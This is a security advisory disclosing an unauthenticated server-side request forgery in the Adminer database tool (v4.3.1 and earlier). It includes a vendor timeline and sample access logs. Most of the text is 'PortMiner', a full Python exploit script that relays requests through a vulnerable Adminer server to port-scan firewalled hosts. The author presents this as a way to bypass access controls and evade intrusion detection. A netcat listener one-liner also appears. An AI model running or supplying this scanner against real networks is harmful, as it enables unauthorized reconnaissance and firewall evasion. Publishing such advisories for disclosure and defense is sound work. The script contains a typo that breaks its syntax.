1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 |
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source:http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt [+] ISR: apparition security Vendor: ============== www.adminer.org Product: ================ Adminer <= v4.3.1 Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB. https://github.com/vrana/adminer/releases/ Vulnerability Type: =================== Server Side Request Forgery CVE Reference: ============== N/A Security Issue: ================ Adminer allows unauthenticated connections to be initiated to arbitrary systems/ports. This vulnerability can be used to potentially bypass firewalls to identify internal hosts and perform port scanning of other servers for reconnaissance purposes. Funny thing is Adminer throttles invalid login attempts but allows endless unauthorized HTTP connections to other systems as long as your not trying to authenticate to Adminer itself. Situations where Adminer can talk to a server that we are not allowed to (ACL) and where we can talk to the server hosting Adminer, it can do recon for us. Recently in LAN I was firewalled off from a server, however another server running Adminer I can talk to. Also, that Adminer server can talk to the target. Since Adminer suffers from Server-Side Request Forgery, I can scan for open ports and gather information from that firewalled off protected server. This allowed me to not only bypass the ACL but also hide from the threat detection system (IDS) monitoring east west connections. However, sysadmins who check the logs on the server hosting Adminer application will see our port scans. root@lamp log/apache2# cat other_vhosts_access.log localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:25:11 +0000] "GET ///?server=TARGET-IP:21&username= HTTP/1.1" 403 1429 "-" "-" localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:24 +0000] "GET ///?server=TARGET-IP:22&username= HTTP/1.1" 403 6019 "-" "-" localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:56 +0000] "GET ///?server=TARGET-IP:23&username= HTTP/1.1" 403 6021 "-" "-" Details: ================== By comparing different failed error responses from Adminer when making SSRF bogus connections, I figured out which ports are open/closed. Port open ==> Lost connection to MySQL server at 'reading initial communication packet Port open ==> MySQL server has gone away Port open ==> Bad file descriptor Port closed ==> Can't connect to MySQL server on '<TARGET-IP>'; Port closed ==> No connection could be made because the target machine actively refused it Port closed ==> A connection attempt failed. This worked so well for me I wrote a quick port scanner 'PortMiner' as a proof of concept that leverages Adminer SSRF vulnerability. PortMiner observations: ====================== No response 'read operation timed out' means the port is possibly open or filtered and should be given a closer look if possible. This seems to occur when scanning Web server ports like 80, 443. However, when we get error responses like the ones above from the server we can be fairly certain a port is either open/closed. Quick POC: echo -e 'HTTP/1.1 200 OK\r\n\r\n' | nc -l -p 5555 Use range 5555-5555 Exploit/POC: ============= import socket,re,ssl,warnings,subprocess,time from platform import system as system_name from os import system as system_call #Adminer Server Side Request Forgery #PortMiner Scanner Tool #by John Page (hyp3rlinx) #ISR: ApparitionSec #hyp3rlinx.altervista.org #========================= #D1rty0Tis says hi. #timeout MAX_TIME=32 #ports to log port_lst=[] #Web server response often times out but usually means ports open. false_pos_ports=['80','443'] BANNER=''' _____ ____ _ |_\ | | |\/(_) | |__) |___ __| |_| \/ |_ _ __ ___ _ __ |___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| | || (_) | || |_| || | | | | |__/ | |_| \___/|_| \__|_||_|_|_| |_|\___|_| ''' def info(): print "\nPortMiner depends on Error messages to determine open/closed ports." print "Read operations reported 'timed out' may be open/filtered.\n" def greet(): print 'Adminer Unauthenticated SSRF Port Scanner Tool' print 'Targets Adminer used for MySQL administration\n' print 'by hyp3rlinx - apparition security' print '-----------------------------------------------------\n' print 'Scan small ranges or single ports or expect to wait.\n' print 'Do not scan networks without authorized permission.' print 'Author not responsible for abuse/misuse.\n' def chk_ports(p): p=p.replace('-',',') port_arg=p.split(',') try: if len(port_arg)>1: if int(port_arg[1]) < int(port_arg[0]): print 'Port range not valid.' raw_input() return if int(port_arg[1])>65535: print 'Exceeded max Port range 65535.' raw_input() return except Exception as e: print str(e) return None return list(range(int(port_arg[0]),int(port_arg[1])+1)) def log(IP): try: file=open('PortMiner.txt', 'w') file.write(IP+'\n') for p in port_lst: file.write(p+'\n') file.close() except Exception as e: print str(e) print "\nSee PortMiner.txt" def use_ssl(ADMINER,ADMINER_PORT): try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ADMINER,int(ADMINER_PORT))) s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) s.close() except Exception as e: print "" return False return True def version(ip,port,uri,use_ssl): res="" try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,int(port))) if use_ssl: s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n') except Exception as e: print 'Host up but cant connect.' #str(e) print 'Re-check Host/Port/URI.' s.close() return 504 while True: RES=s.recv(512) if RES.find('Forbidden')!=-1: print 'Forbidden 403' s.close() return None if RES.find('401 Authorization Required')!=-1: print '401 Authorization Required' s.close() return None ver = re.findall(r'<span class="version">(.*)</span>',RES,re.DOTALL|re.MULTILINE) if not RES: s.close() return None if ver: print 'Your Adminer '+ ver[0] + ' works for us now.' s.close() return ver s.close() return None def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL): global MAX_TIME,port_range RES='' print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...' for aPort in port_range: aPort=str(aPort) try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(MAX_TIME) s.connect((ADMINER,ADMINER_PORT)) if USE_SSL: s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n') except Exception as e: print str(e) s.close() return while True: try: RES=s.recv(512) ###print RES ###Should see HTTP/1.1 403 not 200 if RES.find('HTTP/1.1 200 OK')!=-1: print 'port '+aPort +' open' port_lst.append(aPort+' open') s.close() break if RES.find('400 Bad Request')!=-1: print '400 Bad Request, check params' s.close() break raw_input() lst=re.findall(r"([^\n<div class='error'>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+ "|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES) if lst: status=str(lst) if status.find('connect to MySQL')!=-1: if PRINT_CLOSED: print 'port '+ aPort +' closed' s.close() break elif status.find('machine actively refused it.')!=-1: if PRINT_CLOSED: print 'port '+ aPort +' closed' s.close() break elif status.find('A connection attempt failed')!=-1: if PRINT_CLOSED: print 'port '+ aPort +' closed' s.close() break elif status.find('reading initial communication packet')!=-1: print 'port '+aPort +' open' port_lst.append(aPort+' open') s.close() break elif status.find('MySQL server has gone away')!=-1: print 'port '+aPort +' open' port_lst.append(aPort+' open') s.close() break elif status.find('Bad file descriptor')!=-1: print 'port '+aPort +' open' port_lst.append(aPort+' open') s.close() break elif status.find('Got packets out of order')!=-1: print 'port '+aPort +' open' s.close() break except Exceptionas e: msg = str(e) ###print msg if msg.find('timed out')!=-1 and aPort in false_pos_ports: print 'port '+aPort +' open' port_lst.append(aPort+' open') s.close() break elif msg.find('timed out')!=-1: print 'port '+aPort + ' timed out' port_lst.append(aPort+' read operation timed out') s.close() break else: s.close() break if port_lst: log(TARGET) else: print "Scan completed, no ports mined." return 0 def arp(host): args = "-a" if system_name().lower()=="windows" else "-e" return subprocess.call("arp " + args + " " + host, shell=True) == 0 def ping_host(host): args = "-n 1" if system_name().lower()=="windows" else "-c 1" res=subprocess.call("ping " + args + " " + host, shell=True) == 0 if not res: print str(host) + ' down? trying ARP' if not arp(host): print str(host) + ' unreachable.' return return res def main(): global port_range print BANNER greet() ADMINER_VERSION=False PRINT_CLOSED=False USE_SSL=None ADMINER=raw_input('[+] Adminer Host/IP> ') if ADMINER=='': print 'Enter valid Host/IP' ADMINER=raw_input('[+] Adminer Host/IP> ') ADMINER_PORT=raw_input('[+] Adminer Port> ') if not re.search("^\d{1,5}$",ADMINER_PORT): print 'Enter a valid Port.' ADMINER_PORT=raw_input('[+] Adminer Port> ') ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ') TARGET=raw_input('[+] Host/IP to Scan> ') PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','') plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN) if not plst: print 'Invalid ports, format is 1-1025' return raw_input() #console up port_range=chk_ports(PORTS_TO_SCAN) if not port_range: return PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ') if PRINT_CLOSED=='1': PRINT_CLOSED=True else: PRINT_CLOSED=False if not ping_host(ADMINER): print 'host %s not reachable or blocking ping ' % ADMINER cont=raw_input('Continue with scan? 1=Yes any key for No> ') if cont!='1': print 'Scan aborted.' raw_input() #console up return USE_SSL=use_ssl(ADMINER,ADMINER_PORT) time.sleep(2) ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL) if not ADMINER_VERSION: print "Can't retrieve Adminer script. check supplied URI." raw_input() #console up return else: if ADMINER_VERSION==504: raw_input() #console up return if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0: more=raw_input('Info: 1=Yes, any key for No> ') if more=='1': info() raw_input() #console up if __name__=='__main__': main() Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification:December 16, 2017 Vendor Acknowledgment and reply "I could disallow connecting to well-known ports" : December 18, 2017 Vendor "Adminer throttles invalid login attempts. That should help. I am not sure what else could Adminer do about this." No more replies from vendor since : December 18, 2017 Attempt contact vendor : January 4, 2018 No more replies (unresponsive). January 12, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). |